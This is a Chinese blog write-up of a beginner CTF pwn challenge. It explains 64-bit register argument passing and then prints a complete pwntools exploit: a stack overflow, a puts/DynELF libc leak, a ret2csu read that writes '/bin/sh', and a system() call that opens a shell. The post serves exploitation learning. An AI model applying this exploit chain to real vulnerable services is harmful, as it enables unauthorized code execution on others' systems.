再来一道入门Pwn

前言

许久过去了,对于Pwn也是有了更深的了解,但是还是处在初级阶段,仅以此记表示正在前行。

前置知识

这是一个64位程序,所以需要了解一下64位和32位程序的区别。32位程序(8个寄存器)使用栈帧作为参数传递,64位程序(16个寄存器)使用寄存器传递参数。其寄存器rdi,rsi,rdx,rcx,r8,r9分别作为第1-6个参数,rax作为返回值,rbp为通用寄存器。64位没有栈帧指针,32位采用ebp为栈帧指针。
需要注意的是,存在这些规则:

  1. 前六个参数:rdi,rsi,rdx,rcx,r8,r9;
  2. r13=rdx=参数3;
  3. r14=rsi=参数2;
  4. r15d=edi=参数1;
  5. r12=call address(调用函数地址)。

这道题用到了新知识:DynELF。即在没有libc时,通过泄露程序本身内存地址再经过查询得到libc地址,和libcsearcher道理基本相同。
但是这道题没有简单的write函数可以利用,可以使用DynELF穷举后查询(也可以泄露这道题的read()地址,再用libcsearcher查询)。
DynELF利用puts()进行地址泄露已经成了一种套路,详情可见此处

开始

那么我们首先需要看一下此程序开启了哪些保护机制:
保护机制
分析程序,看到有puts()函数可以利用,还有read()函数,那么我们可以通过read()函数执行puts()函数来泄露地址。
漏洞点
同时因为64位程序没有使用栈帧传递参数,所以在调用puts()前需要向rdi赋值,所以我们首先使用命令:

ROPgadget --binary pwn-100 --only "pop|ret" | grep rdi

得到可存储寄存器的地址,接着后面接上想赋值的地址,再调用puts()即可泄露地址。
rdi
泄露后即可使用DynELF查找得到system的地址。接着我们发现此程序没有/bin/sh,所以我们还需要自己写入。所以我们还需要找到一段有写权限的地址。
在gdb中,运行程序后使用命令:vmmap可以得到可写地址。
可写地址
需要注意的是,rbp,rbx,rsp,r12,r10~r15是需要保护的(非易失的),即程序结束时,需要恢复其初始值。
泄露地址后,现在问题来了,既然参数只能通过寄存器来赋值,那么我们怎么搞呢?这就需要ROP链(将参数传入寄存器)了,我们从汇编代码中看到:
ROP链
程序有可以利用的ROP链,于是先调用pop为寄存器赋值,再mov给参数,接着从图片中看出调用mov后会再次进入pop程序段,此时需要填充字符至ret返回地址,也满足了恢复初值的要求。
注意点:

  1. v1的偏移不管是从ida口算(0x40+前栈帧0x8)还是使用gdb调试都能得出0x48=72的结果;
  2. 因为从ida看出程序中puts(‘bye~’)地址比rdi_addr低,所以会先执行puts(‘bye~’)再执行泄露puts()。
    注意点

    构造POC

    from pwn import *
    p=remote('',)
    elf=ELF('./pwn-100')
    puts_addr=elf.symbols['puts']
    read_addr=elf.symbols['read']
    pop_addr=0x40075a #rbx,rbp,r12,r13,r14,r15
    mov_addr=0x400740 #rdx=r13=argv3,rsi=r14=argv2,edi=r15d=argv1
    rdi_addr=0x400763
    bss_addr=0x601000
    start_addr=0x400550
    def leek(addr):
    payload='a'*0x48+p64(rdi_addr)+p64(addr)+p64(puts_addr)+p64(start_addr)
    #即执行puts(addr),再返回start。
    payload=payload.ljust(200,'0') #将payload根据程序要求调整至200
    p.send(payload)
    p.recvuntil('bye~\n')
    content=''
    last=''
    count=0
    while True:
    tmp=p.recv(numb=1,timeout=0.5) #指定接收一字节,指定超时时间0.5s
    if last=='\n' and tmp=='':
    content=content[:-1]+'\x00'
    break
    else:
    content+=tmp
    last=tmp
    content=content[:4]
    log.info("%#x => %s" % (addr,(content or '').encode('hex')))
    return content
    libc=DynELF(leek,elf=elf)
    system_addr=libc.lookup('system','libc')
    payload='a'*0x48
    payload+=p64(pop_addr) #进行pop操作
    payload+=p64(0) #rbx=0,rbx对我们无用,故置0,置1会hack失败
    payload+=p64(1) #rbp=1,达到调用read()函数的目的
    payload+=p64(read_addr) #read()函数
    payload+=p64(8) #read()的参数,读入8字节
    payload+=p64(bss_addr) #写入地址
    payload+=p64(1)#r15置1,此时按照前置知识中规则,相当于执行read(1,bss_addr,8)
    payload+=p64(mov_addr) #赋值,真正执行构造的函数
    payload+='\x00'*56 #mov段进入pop段时有7个pop段,64位每个8字节,总共56字节
    payload+=p64(start_addr)
    payload=payload.ljust(200,'0')
    p.send(payload)
    p.recvuntil('bye~\n')
    p.send('/bin/sh\x00')
    payload='a'*0x48+p64(rdi_addr)+p64(bss_addr)+p64(system_addr)
    payload=payload.ljust(200,'0')
    p.send(payload)
    p.interactive()

这道题用sendline会报错,send就没事,找错的时候搞了半天。。。我们也可以只用LibcSearcher来编写代码。

文章作者: Leaflag
文章链接: https://www.leaflag.cn/2019/09/04/再来一道入门Pwn/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 LeaflagのBlog